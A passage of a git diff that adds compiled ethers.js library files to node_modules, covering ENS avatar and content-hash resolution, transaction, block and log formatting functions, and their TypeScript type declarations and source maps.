(CID: 1, Type: swarm-manifest; hash/length hard-coded to keccak256/32) + const swarm = data.match(/^0xe40101fa011b20([0-9a-f]*)$/); + if (swarm && swarm[1].length === 64) { + return `bzz:/\/${swarm[1]}`; + } + (0, index_js_5.assert)(false, `invalid or unsupported content hash data`, "UNSUPPORTED_OPERATION", { + operation: "getContentHash()", + info: { data } + }); + } + /** + * Resolves to the avatar url or ``null`` if the avatar is either + * unconfigured or incorrectly configured (e.g. references an NFT + * not owned by the address). + * + * If diagnosing issues with configurations, the [[_getAvatar]] + * method may be useful. + */ + async getAvatar() { + const avatar = await this._getAvatar(); + return avatar.url; + } + /** + * When resolving an avatar, there are many steps involved, such + * fetching metadata and possibly validating ownership of an + * NFT. + * + * This method can be used to examine each step and the value it + * was working from. + */ + async _getAvatar() { + const linkage = [{ type: "name", value: this.name }]; + try { + // test data for ricmoo.eth + //const avatar = "eip155:1/erc721:0x265385c7f4132228A0d54EB1A9e7460b91c0cC68/29233"; + const avatar = await this.getText("avatar"); + if (avatar == null) { + linkage.push({ type: "!avatar", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "avatar", value: avatar }); + for (let i = 0; i < matchers.length; i++) { + const match = avatar.match(matchers[i]); + if (match == null) { + continue; + } + const scheme = match[1].toLowerCase(); + switch (scheme) { + case "https": + case "data": + linkage.push({ type: "url", value: avatar }); + return { linkage, url: avatar }; + case "ipfs": { + const url = getIpfsLink(avatar); + linkage.push({ type: "ipfs", value: avatar }); + linkage.push({ type: "url", value: url }); + return { linkage, url }; + } + case "erc721": + case "erc1155": { + // Depending on the ERC type, use tokenURI(uint256) or url(uint256) + const selector = (scheme === "erc721") ? "tokenURI(uint256)" : "uri(uint256)"; + linkage.push({ type: scheme, value: avatar }); + // The owner of this name + const owner = await this.getAddress(); + if (owner == null) { + linkage.push({ type: "!owner", value: "" }); + return { url: null, linkage }; + } + const comps = (match[2] || "").split("/"); + if (comps.length !== 2) { + linkage.push({ type: `!${scheme}caip`, value: (match[2] || "") }); + return { url: null, linkage }; + } + const tokenId = comps[1]; + const contract = new index_js_3.Contract(comps[0], [ + // ERC-721 + "function tokenURI(uint) view returns (string)", + "function ownerOf(uint) view returns (address)", + // ERC-1155 + "function uri(uint) view returns (string)", + "function balanceOf(address, uint256) view returns (uint)" + ], this.provider); + // Check that this account owns the token + if (scheme === "erc721") { + const tokenOwner = await contract.ownerOf(tokenId); + if (owner !== tokenOwner) { + linkage.push({ type: "!owner", value: tokenOwner }); + return { url: null, linkage }; + } + linkage.push({ type: "owner", value: tokenOwner }); + } + else if (scheme === "erc1155") { + const balance = await contract.balanceOf(owner, tokenId); + if (!balance) { + linkage.push({ type: "!balance", value: "0" }); + return { url: null, linkage }; + } + linkage.push({ type: "balance", value: balance.toString() }); + } + // Call the token contract for the metadata URL + let metadataUrl = await contract[selector](tokenId); + if (metadataUrl == null || metadataUrl === "0x") { + linkage.push({ type: "!metadata-url", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "metadata-url-base", value: metadataUrl }); + // ERC-1155 allows a generic {id} in the URL + if (scheme === "erc1155") { + metadataUrl = metadataUrl.replace("{id}", (0, index_js_5.toBeHex)(tokenId, 32).substring(2)); + linkage.push({ type: "metadata-url-expanded", value: metadataUrl }); + } + // Transform IPFS metadata links + if (metadataUrl.match(/^ipfs:/i)) { + metadataUrl = getIpfsLink(metadataUrl); + } + linkage.push({ type: "metadata-url", value: metadataUrl }); + // Get the token metadata + let metadata = {}; + const response = await (new index_js_5.FetchRequest(metadataUrl)).send(); + response.assertOk(); + try { + metadata = response.bodyJson; + } + catch (error) { + try { + linkage.push({ type: "!metadata", value: response.bodyText }); + } + catch (error) { + const bytes = response.body; + if (bytes) { + linkage.push({ type: "!metadata", value: (0, index_js_5.hexlify)(bytes) }); + } + return { url: null, linkage }; + } + return { url: null, linkage }; + } + if (!metadata) { + linkage.push({ type: "!metadata", value: "" }); + return { url: null, linkage }; + } + linkage.push({ type: "metadata", value: JSON.stringify(metadata) }); + // Pull the image URL out + let imageUrl = metadata.image; + if (typeof (imageUrl) !== "string") { + linkage.push({ type: "!imageUrl", value: "" }); + return { url: null, linkage }; + } + if (imageUrl.match(/^(https:\/\/|data:)/i)) { + // Allow + } + else { + // Transform IPFS link to gateway + const ipfs = imageUrl.match(matcherIpfs); + if (ipfs == null) { + linkage.push({ type: "!imageUrl-ipfs", value: imageUrl }); + return { url: null, linkage }; + } + linkage.push({ type: "imageUrl-ipfs", value: imageUrl }); + imageUrl = getIpfsLink(imageUrl); + } + linkage.push({ type: "url", value: imageUrl }); + return { linkage, url: imageUrl }; + } + } + } + } + catch (error) { } + return { linkage, url: null }; + } + static async getEnsAddress(provider) { + const network = await provider.getNetwork(); + const ensPlugin = network.getPlugin("org.ethers.plugins.network.Ens"); + // No ENS... + (0, index_js_5.assert)(ensPlugin, "network does not support ENS", "UNSUPPORTED_OPERATION", { + operation: "getEnsAddress", info: { network } + }); + return ensPlugin.address; + } + static async #getResolver(provider, name) { + const ensAddr = await EnsResolver.getEnsAddress(provider); + try { + const contract = new index_js_3.Contract(ensAddr, [ + "function resolver(bytes32) view returns (address)" + ], provider); + const addr = await contract.resolver((0, index_js_4.namehash)(name), { + enableCcipRead: true + }); + if (addr === index_js_2.ZeroAddress) { + return null; + } + return addr; + } + catch (error) { + // ENS registry cannot throw errors on resolver(bytes32), + // so probably a link error + throw error; + } + return null; + } + /** + * Resolve to the ENS resolver for %%name%% using %%provider%% or + * ``null`` if unconfigured. + */ + static async fromName(provider, name) { + let currentName = name; + while (true) { + if (currentName === "" || currentName === ".") { + return null; + } + // Optimization since the eth node cannot change and does + // not have a wildcard resolver + if (name !== "eth" && currentName === "eth") { + return null; + } + // Check the current node for a resolver + const addr = await EnsResolver.#getResolver(provider, currentName); + // Found a resolver! + if (addr != null) { + const resolver = new EnsResolver(provider, addr, name); + // Legacy resolver found, using EIP-2544 so it isn't safe to use + if (currentName !== name && !(await resolver.supportsWildcard())) { + return null; + } + return resolver; + } + // Get the parent node + currentName = currentName.split(".").slice(1).join("."); + } + } +} +exports.EnsResolver = EnsResolver; +//# sourceMappingURL=ens-resolver.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/ens-resolver.js.map b/node_modules/ethers/lib.commonjs/providers/ens-resolver.js.map new file mode 100644 index 000000000000..f44944b1fe17 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/ens-resolver.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ens-resolver.js","sourceR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C;SAC3D;IACL,CAAC;CACJ;AA/bD,kCA+bC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/format.d.ts b/node_modules/ethers/lib.commonjs/providers/format.d.ts new file mode 100644 index 000000000000..0967704ef3be --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/format.d.ts @@ -0,0 +1,15 @@ +import type { BlockParams, LogParams, TransactionReceiptParams, TransactionResponseParams } from "./formatting.js"; +export type FormatFunc = (value: any) => any; +export declare function allowNull(format: FormatFunc, nullValue?: any): FormatFunc; +export declare function arrayOf(format: FormatFunc, allowNull?: boolean): FormatFunc; +export declare function object(format: Record, altNames?: Record>): FormatFunc; +export declare function formatBoolean(value: any): boolean; +export declare function formatData(value: string): string; +export declare function formatHash(value: any): string; +export declare function formatUint256(value: any): string; +export declare function formatLog(value: any): LogParams; +export declare function formatBlock(value: any): BlockParams; +export declare function formatReceiptLog(value: any): LogParams; +export declare function formatTransactionReceipt(value: any): TransactionReceiptParams; +export declare function formatTransactionResponse(value: any): TransactionResponseParams; +//# sourceMappingURL=format.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/format.d.ts.map b/node_modules/ethers/lib.commonjs/providers/format.d.ts.map new file mode 100644 index 000000000000..00537f2b9999 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/format.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"format.d.ts","sourceRoot":"","sources":["../../src.ts/providers/format.ts"],"names":[],"mappings":"AAYA,OAAO,KAAK,EACR,WAAW,EAAE,SAAS,EACtB,wBAAwB,EAAE,yBAAyB,EACtD,MAAM,iBAAiB,CAAC;AAKzB,MAAM,MAAM,UAAU,GAAG,CAAC,KAAK,EAAE,GAAG,KAAK,GAAG,CAAC;AAE7C,wBAAgB,SAAS,CAAC,MAAM,EAAE,UAAU,EAAE,SAAS,CAAC,EAAE,GAAG,GAAG,UAAU,CAKzE;AAED,wBAAgB,OAAO,CAAC,MAAM,EAAE,UAAU,EAAE,SAAS,CAAC,EAAE,OAAO,GAAG,UAAU,CAM3E;AAKD,wBAAgB,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,MAAM,EAAE,UAAU,CAAC,EAAE,QAAQ,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,MAAM,CAAC,CAAC,GAAG,UAAU,CAwB/G;AAED,wBAAgB,aAAa,CAAC,KAAK,EAAE,GAAG,GAAG,OAAO,CAQjD;AAED,wBAAgB,UAAU,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM,CAGhD;AAED,wBAAgB,UAAU,CAAC,KAAK,EAAE,GAAG,GAAG,MAAM,CAG7C;AAED,wBAAgB,aAAa,CAAC,KAAK,EAAE,GAAG,GAAG,MAAM,CAKhD;AAgBD,wBAAgB,SAAS,CAAC,KAAK,EAAE,GAAG,GAAG,SAAS,CAE/C;AA+BD,wBAAgB,WAAW,CAAC,KAAK,EAAE,GAAG,GAAG,WAAW,CAOnD;AAeD,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,GAAG,GAAG,SAAS,CAEtD;AA4BD,wBAAgB,wBAAwB,CAAC,KAAK,EAAE,GAAG,GAAG,wBAAwB,CAE7E;AAED,wBAAgB,yBAAyB,CAAC,KAAK,EAAE,GAAG,GAAG,yBAAyB,CA0I/E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/format.js b/node_modules/ethers/lib.commonjs/providers/format.js new file mode 100644 index 000000000000..ed11dc2a969a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/format.js @@ -0,0 +1,312 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.formatTransactionResponse = exports.formatTransactionReceipt = exports.formatReceiptLog = exports.formatBlock = exports.formatLog = exports.formatUint256 = exports.formatHash = exports.formatData = exports.formatBoolean = exports.object = exports.arrayOf = exports.allowNull = void 0; +/** + * @_ignore + */ +const index_js_1 = require("../address/index.js"); +const index_js_2 = require("../crypto/index.js"); +const index_js_3 = require("../transaction/index.js"); +const index_js_4 = require("../utils/index.js"); +const BN_0 = BigInt(0); +function allowNull(format, nullValue) { + return (function (value) { + if (value == null) { + return nullValue; + } + return format(value); + }); +} +exports.allowNull = allowNull; +function arrayOf(format, allowNull) { + return ((array) => { + if (allowNull && array == null) { + return null; + } + if (!Array.isArray(array)) { + throw new Error("not an array"); + } + return array.map((i) => format(i)); + }); +} +exports.arrayOf = arrayOf; +// Requires an object which matches a fleet of other formatters +// Any FormatFunc may return `undefined` to have the value omitted +// from the result object. Calls preserve `this`. +function object(format, altNames) { + return ((value) => { + const result = {}; + for (const key in format) { + let srcKey = key; + if (altNames && key in altNames && !(srcKey in value)) { + for (const altKey of altNames[key]) { + if (altKey in value) { + srcKey = altKey; + break; + } + } + } + try { + const nv = format[key](value[srcKey]); + if (nv !== undefined) { + result[key] = nv; + } + } + catch (error) { + const message = (error instanceof Error) ? error.message : "not-an-error"; + (0, index_js_4.assert)(false, `invalid value for value.${key} (${message})`, "BAD_DATA", { value }); + } + } + return result; + }); +} +exports.object = object; +function formatBoolean(value) { + switch (value) { + case true: + case "true": + return true; + case false: + case "false": + return false; + } + (0, index_js_4.assertArgument)(false, `invalid boolean; ${JSON.stringify(value)}`, "value", value); +} +exports.formatBoolean = formatBoolean; +function formatData(value) { + (0, index_js_4.assertArgument)((0, index_js_4.isHexString)(value, true), "invalid data", "value", value); + return value; +} +exports.formatData = formatData; +function formatHash(value) { + (0, index_js_4.assertArgument)((0, index_js_4.isHexString)(value, 32), "invalid hash", "value", value); + return value; +} +exports.formatHash = formatHash; +function formatUint256(value) { + if (!(0, index_js_4.isHexString)(value)) { + throw new Error("invalid uint256"); + } + return (0, index_js_4.zeroPadValue)(value, 32); +} +exports.formatUint256 = formatUint256; +const _formatLog = object({ + address: index_js_1.getAddress, + blockHash: formatHash, + blockNumber: index_js_4.getNumber, + data: formatData, + index: index_js_4.getNumber, + removed: allowNull(formatBoolean, false), + topics: arrayOf(formatHash), + transactionHash: formatHash, + transactionIndex: index_js_4.getNumber, +}, { + index: ["logIndex"] +}); +function formatLog(value) { + return _formatLog(value); +} +exports.formatLog = formatLog; +const _formatBlock = object({ + hash: allowNull(formatHash), + parentHash: formatHash, + parentBeaconBlockRoot: allowNull(formatHash, null), + number: index_js_4.getNumber, + timestamp: index_js_4.getNumber, + nonce: allowNull(formatData), + difficulty: index_js_4.getBigInt, + gasLimit: index_js_4.getBigInt, + gasUsed: index_js_4.getBigInt, + stateRoot: allowNull(formatHash, null), + receiptsRoot: allowNull(formatHash, null), + blobGasUsed: allowNull(index_js_4.getBigInt, null), + excessBlobGas: allowNull(index_js_4.getBigInt, null), + miner: allowNull(index_js_1.getAddress), + prevRandao: allowNull(formatHash, null), + extraData: formatData, + baseFeePerGas: allowNull(index_js_4.getBigInt) +}, { + prevRandao: ["mixHash"] +}); +function formatBlock(value) { + const result = _formatBlock(value); + result.transactions = value.transactions.map((tx) => { + if (typeof (tx) === "string") { + return tx; + } + return formatTransactionResponse(tx); + }); + return result; +} +exports.formatBlock = formatBlock; +const _formatReceiptLog = object({ + transactionIndex: index_js_4.getNumber, + blockNumber: index_js_4.getNumber, + transactionHash: formatHash, + address: index_js_1.getAddress, + topics: arrayOf(formatHash), + data: formatData, + index: index_js_4.getNumber, + blockHash: formatHash, +}, { + index: ["logIndex"] +}); +function formatReceiptLog(value) { + return _formatReceiptLog(value); +} +exports.formatReceiptLog = formatReceiptLog; +const _formatTransactionReceipt = object({ + to: allowNull(index_js_1.getAddress, null), + from: allowNull(index_js_1.getAddress, null), + contractAddress: allowNull(index_js_1.getAddress, null), + // should be allowNull(hash), but broken-EIP-658 support is handled in receipt + index: index_js_4.getNumber, + root: allowNull(index_js_4.hexlify), + gasUsed: index_js_4.getBigInt, + blobGasUsed: allowNull(index_js_4.getBigInt, null), + logsBloom: allowNull(formatData), + blockHash: formatHash, + hash: formatHash, + logs: arrayOf(formatReceiptLog), + blockNumber: index_js_4.getNumber, + //confirmations: allowNull(getNumber, null), + cumulativeGasUsed: index_js_4.getBigInt, + effectiveGasPrice: allowNull(index_js_4.getBigInt), + blobGasPrice: allowNull(index_js_4.getBigInt, null), + status: allowNull(index_js_4.getNumber), + type: allowNull(index_js_4.getNumber, 0) +}, { + effectiveGasPrice: ["gasPrice"], + hash: ["transactionHash"], + index: ["transactionIndex"], +}); +function formatTransactionReceipt(value) { + return _formatTransactionReceipt(value); +} +exports.formatTransactionReceipt = formatTransactionReceipt; +function formatTransactionResponse(value) { + // Some clients (TestRPC) do strange things like return 0x0 for the + // 0 address; correct this to be a real address + if (value.to && (0, index_js_4.getBigInt)(value.to) === BN_0) { + value.to = "0x0000000000000000000000000000000000000000"; + } + const result = object({ + hash: formatHash, + // Some nodes do not return this, usually test nodes (like Ganache) + index: allowNull(index_js_4.getNumber, undefined), + type: (value) => { + if (value === "0x" || value == null) { + return 0; + } + return (0, index_js_4.getNumber)(value); + }, + accessList: allowNull(index_js_3.accessListify, null), + blobVersionedHashes: allowNull(arrayOf(formatHash, true), null), + authorizationList: allowNull(arrayOf((v) => { + let sig; + if (v.signature) { + sig = v.signature; + } + else { + let yParity = v.yParity; + if (yParity === "0x1b") { + yParity = 0; + } + else if (yParity === "0x1c") { + yParity = 1; + } + sig = Object.assign({}, v, { yParity }); + } + return { + address: (0, index_js_1.getAddress)(v.address), + chainId: (0, index_js_4.getBigInt)(v.chainId), + nonce: (0, index_js_4.getBigInt)(v.nonce), + signature: index_js_2.Signature.from(sig) + }; + }, false), null), + blockHash: allowNull(formatHash, null), + blockNumber: allowNull(index_js_4.getNumber, null), + transactionIndex: allowNull(index_js_4.getNumber, null), + from: index_js_1.getAddress, + // either (gasPrice) or (maxPriorityFeePerGas + maxFeePerGas) must be set + gasPrice: allowNull(index_js_4.getBigInt), + maxPriorityFeePerGas: allowNull(index_js_4.getBigInt), + maxFeePerGas: allowNull(index_js_4.getBigInt), + maxFeePerBlobGas: allowNull(index_js_4.getBigInt, null), + gasLimit: index_js_4.getBigInt, + to: allowNull(index_js_1.getAddress, null), + value: index_js_4.getBigInt, + nonce: index_js_4.getNumber, + data: formatData, + creates: allowNull(index_js_1.getAddress, null), + chainId: allowNull(index_js_4.getBigInt, null) + }, { + data: ["input"], + gasLimit: ["gas"], + index: ["transactionIndex"] + })(value); + // If to and creates are empty, populate the creates from the value + if (result.to == null && result.creates == null) { + result.creates = (0, index_js_1.getCreateAddress)(result); + } + // @TODO: Check fee data + // Add an access list to supported transaction types + if ((value.type === 1 || value.type === 2) && value.accessList == null) { + result.accessList = []; + } + // Compute the signature + if (value.signature) { + result.signature = index_js_2.Signature.from(value.signature); + } + else { + result.signature = index_js_2.Signature.from(value); + } + // Some backends omit ChainId on legacy transactions, but we can compute it + if (result.chainId == null) { + const chainId = result.signature.legacyChainId; + if (chainId != null) { + result.chainId = chainId; + } + } + // @TODO: check chainID + /* + if (value.chainId != null) { + let chainId = value.chainId; + + if (isHexString(chainId)) { + chainId = BigNumber.from(chainId).toNumber(); + } + + result.chainId = chainId; + + } else { + let chainId = value.networkId; + + // geth-etc returns chainId + if (chainId == null && result.v == null) { + chainId = value.chainId; + } + + if (isHexString(chainId)) { + chainId = BigNumber.from(chainId).toNumber(); + } + + if (typeof(chainId) !== "number" && result.v != null) { + chainId = (result.v - 35) / 2; + if (chainId < 0) { chainId = 0; } + chainId = parseInt(chainId); + } + + if (typeof(chainId) !== "number") { chainId = 0; } + + result.chainId = chainId; + } + */ + // 0x0000... should actually be null + if (result.blockHash && (0, index_js_4.getBigInt)(result.blockHash) === BN_0) { + result.blockHash = null; + } + return result; +} +exports.formatTransactionResponse = formatTransactionResponse; +//# sourceMappingURL=format.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/format.js.map b/node_modules/ethers/lib.commonjs/providers/format.js.map new file mode 100644 index 000000000000..1dc1ad9f67a9 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/format.js.map @@ -0,0 +1 @@ +{"version":3,"file":"format.js","sourceRoot":"","sources":["../../src.ts/providers/format.ts"],"names":[],"mappings":";;;AAAA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IAAI,KAAK,CAAC,SAAS,EAAE;QACjB,MAAM,CAAC,SAAS,GAAG,oBAAS,CAAC,IAAI,CAAC,KAAK,CAAC,SAAS,CAAC,CAAC;KACtD;SAAM;QACH,MAAM,CAAC,SAAS,GAAG,oBAAS,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC;KAC5C;IAED,2EAA2E;IAC3E,IAAI,MAAM,CAAC,OAAO,IAAI,IAAI,EAAE;QACxB,MAAM,OAAO,GAAG,MAAM,CAAC,SAAS,CAAC,aAAa,CAAC;QAC/C,IAAI,OAAO,IAAI,IAAI,EAAE;YAAE,MAAM,CAAC,OAAO,GAAG,OAAO,CAAC;SAAE;KACrD;IAGD,uBAAuB;IACvB;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;MAgCE;IAEF,oCAAoC;IACpC,IAAI,MAAM,CAAC,SAAS,IAAI,IAAA,oBAAS,EAAC,MAAM,CAAC,SAAS,CAAC,KAAK,IAAI,EAAE;QAC1D,MAAM,CAAC,SAAS,GAAG,IAAI,CAAC;KAC3B;IAED,OAAO,MAAM,CAAC;AAClB,CAAC;AA1ID,8DA0IC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/formatting.d.ts b/node_modules/ethers/lib.commonjs/providers/formatting.d.ts new file mode 100644 index 000000000000..a44a3b34ca0a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/formatting.d.ts @@ -0,0 +1,318 @@ +/** + * About provider formatting? + * + * @_section: api/providers/formatting:Formatting [provider-formatting] + */ +import type { Signature } from "../crypto/index.js"; +import type { Authorization, AccessList } from "../transaction/index.js"; +/** + * a **BlockParams** encodes the minimal required properties for a + * formatted block. + */ +export interface BlockParams { + /** + * The block hash. + */ + hash?: null | string; + /** + * The block number. + */ + number: number; + /** + * The timestamp for this block, which is the number of seconds + * since epoch that this block was included. + */ + timestamp: number; + /** + * The hash of the previous block in the blockchain. The genesis block + * has the parentHash of the [[ZeroHash]]. + */ + parentHash: string; + /** + * The hash tree root of the parent beacon block for the given + * execution block. See [[link-eip-4788]]. + */ + parentBeaconBlockRoot?: null | string; + /** + * A random sequence provided during the mining process for + * proof-of-work networks. + */ + nonce: string; + /** + * For proof-of-work networks, the difficulty target is used to + * adjust the difficulty in mining to ensure an expected block rate. + */ + difficulty: bigint; + /** + * The maximum amount of gas a block can consume. + */ + gasLimit: bigint; + /** + * The amount of gas a block consumed. + */ + gasUsed: bigint; + /** + * The total amount of BLOb gas consumed by transactions within + * the block. See [[link-eip4844]. + */ + blobGasUsed?: null | bigint; + /** + * The running total of BLOb gas consumed in excess of the target + * prior to the block. See [[link-eip-4844]]. + */ + excessBlobGas?: null | bigint; + /** + * The miner (or author) of a block. + */ + miner: string; + /** + * The latest RANDAO mix of the post beacon state of + * the previous block. + */ + prevRandao?: null | string; + /** + * Additional data the miner choose to include. + */ + extraData: string; + /** + * The protocol-defined base fee per gas in an [[link-eip-1559]] + * block. + */ + baseFeePerGas: null | bigint; + /** + * The root hash for the global state after applying changes + * in this block. + */ + stateRoot?: null | string; + /** + * The hash of the transaction receipts trie. + */ + receiptsRoot?: null | string; + /** + * The list of transactions in the block. + */ + transactions: ReadonlyArray; +} +/** + * a **LogParams** encodes the minimal required properties for a + * formatted log. + */ +export interface LogParams { + /** + * The transaction hash for the transaxction the log occurred in. + */ + transactionHash: string; + /** + * The block hash of the block that included the transaction for this + * log. + */ + blockHash: string; + /** + * The block number of the block that included the transaction for this + * log. + */ + blockNumber: number; + /** + * Whether this log was removed due to the transaction it was included + * in being removed dur to an orphaned block. + */ + removed: boolean; + /** + * The address of the contract that emitted this log. + */ + address: string; + /** + * The data emitted with this log. + */ + data: string; + /** + * The topics emitted with this log. + */ + topics: ReadonlyArray; + /** + * The index of this log. + */ + index: number; + /** + * The transaction index of this log. + */ + transactionIndex: number; +} +/** + * a **TransactionReceiptParams** encodes the minimal required properties + * for a formatted transaction receipt. + */ +export interface TransactionReceiptParams { + /** + * The target of the transaction. If null, the transaction was trying + * to deploy a transaction with the ``data`` as the initi=code. + */ + to: null | string; + /** + * The sender of the transaction. + */ + from: string; + /** + * If the transaction was directly deploying a contract, the [[to]] + * will be null, the ``data`` will be initcode and if successful, this + * will be the address of the contract deployed. + */ + contractAddress: null | string; + /** + * The transaction hash. + */ + hash: string; + /** + * The transaction index. + */ + index: number; + /** + * The block hash of the block that included this transaction. + */ + blockHash: string; + /** + * The block number of the block that included this transaction. + */ + blockNumber: number; + /** + * The bloom filter for the logs emitted during execution of this + * transaction. + */ + logsBloom: string; + /** + * The logs emitted during the execution of this transaction. + */ + logs: ReadonlyArray; + /** + * The amount of gas consumed executing this transaciton. + */ + gasUsed: bigint; + /** + * The amount of BLOb gas used. See [[link-eip-4844]]. + */ + blobGasUsed?: null | bigint; + /** + * The total amount of gas consumed during the entire block up to + * and including this transaction. + */ + cumulativeGasUsed: bigint; + /** + * The actual gas price per gas charged for this transaction. + */ + gasPrice?: null | bigint; + /** + * The actual BLOb gas price that was charged. See [[link-eip-4844]]. + */ + blobGasPrice?: null | bigint; + /** + * The actual gas price per gas charged for this transaction. + */ + effectiveGasPrice?: null | bigint; + /** + * The [[link-eip-2718]] envelope type. + */ + type: number; + /** + * The status of the transaction execution. If ``1`` then the + * the transaction returned success, if ``0`` then the transaction + * was reverted. For pre-byzantium blocks, this is usually null, but + * some nodes may have backfilled this data. + */ + status: null | number; + /** + * The root of this transaction in a pre-bazatium block. In + * post-byzantium blocks this is null. + */ + root: null | string; +} +/** + * a **TransactionResponseParams** encodes the minimal required properties + * for a formatted transaction response. + */ +export interface TransactionResponseParams { + /** + * The block number of the block that included this transaction. + */ + blockNumber: null | number; + /** + * The block hash of the block that included this transaction. + */ + blockHash: null | string; + /** + * The transaction hash. + */ + hash: string; + /** + * The transaction index. + */ + index: number; + /** + * The [[link-eip-2718]] transaction type. + */ + type: number; + /** + * The target of the transaction. If ``null``, the ``data`` is initcode + * and this transaction is a deployment transaction. + */ + to: null | string; + /** + * The sender of the transaction. + */ + from: string; + /** + * The nonce of the transaction, used for replay protection. + */ + nonce: number; + /** + * The maximum amount of gas this transaction is authorized to consume. + */ + gasLimit: bigint; + /** + * For legacy transactions, this is the gas price per gas to pay. + */ + gasPrice: bigint; + /** + * For [[link-eip-1559]] transactions, this is the maximum priority + * fee to allow a producer to claim. + */ + maxPriorityFeePerGas: null | bigint; + /** + * For [[link-eip-1559]] transactions, this is the maximum fee that + * will be paid. + */ + maxFeePerGas: null | bigint; + /** + * For [[link-eip-4844]] transactions, this is the maximum fee that + * will be paid per BLOb. + */ + maxFeePerBlobGas?: null | bigint; + /** + * The transaction data. + */ + data: string; + /** + * The transaction value (in wei). + */ + value: bigint; + /** + * The chain ID this transaction is valid on. + */ + chainId: bigint; + /** + * The signature of the transaction. + */ + signature: Signature; + /** + * The transaction access list. + */ + accessList: null | AccessList; + /** + * The [[link-eip-4844]] BLOb versioned hashes. + */ + blobVersionedHashes?: null | Array; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList: null | Array; +} +//# sourceMappingURL=formatting.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/formatting.d.ts.map b/node_modules/ethers/lib.commonjs/providers/formatting.d.ts.map new file mode 100644 index 000000000000..a28257d003e0 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/formatting.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"formatting.d.ts","sourceRoot":"","sources":["../../src.ts/providers/formatting.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAC;AACpD,OAAO,KAAK,EAAE,aAAa,EAAE,UAAU,EAAE,MAAM,yBAAyB,CAAC;AAMzE;;;GAGG;AACH,MAAM,WAAW,WAAW;IACxB;;OAEG;IACH,IAAI,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;IAErB;;OAEG;IACH,MAAM,EAAE,MAAM,CAAC;IAEf;;;OAGG;IACH,SAAS,EAAE,MAAM,CAAC;IAElB;;;OAGG;IACH,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;OAEG;IACH,IAAI,EAAE,MAAM,CAAC;IAEb;;;OAGG;IACH,EAAE,EAAE,IAAI,GAAG,MAAM,CAAC;IAElB;;OAEG;IACH,IAAI,EAAE,MAAM,CAAC;IAEb;;OAEG;IACH,KAAK,EAAE,MAAM,CAAC;IAEd;;OAEG;IACH,QAAQ,EAAE,MAAM,CAAC;IAEjB;;OAEG;IACH,QAAQ,EAAE,MAAM,CAAC;IAEjB;;;OAGG;IACH,oBAAoB,EAAE,IAAI,GAAG,MAAM,CAAC;IAEpC;;;OAGG;IACH,YAAY,EAAE,IAAI,GAAG,MAAM,CAAC;IAE5B;;;OAGG;IACH,gBAAgB,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC;IAEjC;;OAEG;IACH,IAAI,EAAE,MAAM,CAAC;IAEb;;OAEG;IACH,KAAK,EAAE,MAAM,CAAC;IAEd;;OAEG;IACH,OAAO,EAAE,MAAM,CAAC;IAEhB;;OAEG;IACH,SAAS,EAAE,SAAS,CAAC;IAErB;;OAEG;IACH,UAAU,EAAE,IAAI,GAAG,UAAU,CAAC;IAE9B;;OAEG;IACH,mBAAmB,CAAC,EAAE,IAAI,GAAG,KAAK,CAAC,MAAM,CAAC,CAAC;IAE3C;;OAEG;IACH,iBAAiB,EAAE,IAAI,GAAG,KAAK,CAAC,aAAa,CAAC,CAAC;CAClD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/formatting.js b/node_modules/ethers/lib.commonjs/providers/formatting.js new file mode 100644 index 000000000000..aa2ace79bca2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/formatting.js @@ -0,0 +1,10 @@ +"use strict"; +/** + * About provider formatting? + * + * @_section: api/providers/formatting:Formatting [provider-formatting] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +; +; +//# sourceMappingURL=formatting.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/formatting.js.map b/node_modules/ethers/lib.commonjs/providers/formatting.js.map new file mode 100644 index 000000000000..034ced5a14f0 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/formatting.js.map @@ -0,0 +1 @@ +{"version":3,"file":"formatting.js","sourceRoot":"","sources":["../../src.ts/providers/formatting.ts"],"names":[],"mappings":";AAAA;;;;GAIG;;AAiHF,CAAC;AA0SD,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/index.d.ts b/node_modules/ethers/lib.commonjs/providers/index.d.ts new file mode 100644 index 000000000000..172c487a1d8f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/index.d.ts @@ -0,0 +1,50 @@ +/** + * A **Provider** provides a connection to the blockchain, whch can be + * used to query its current state, simulate execution and send transactions + * to update the state. + * + * It is one of the most fundamental components of interacting with a + * blockchain application, and there are many ways to connect, such as over + * HTTP, WebSockets or injected providers such as [MetaMask](link-metamask). + * + * 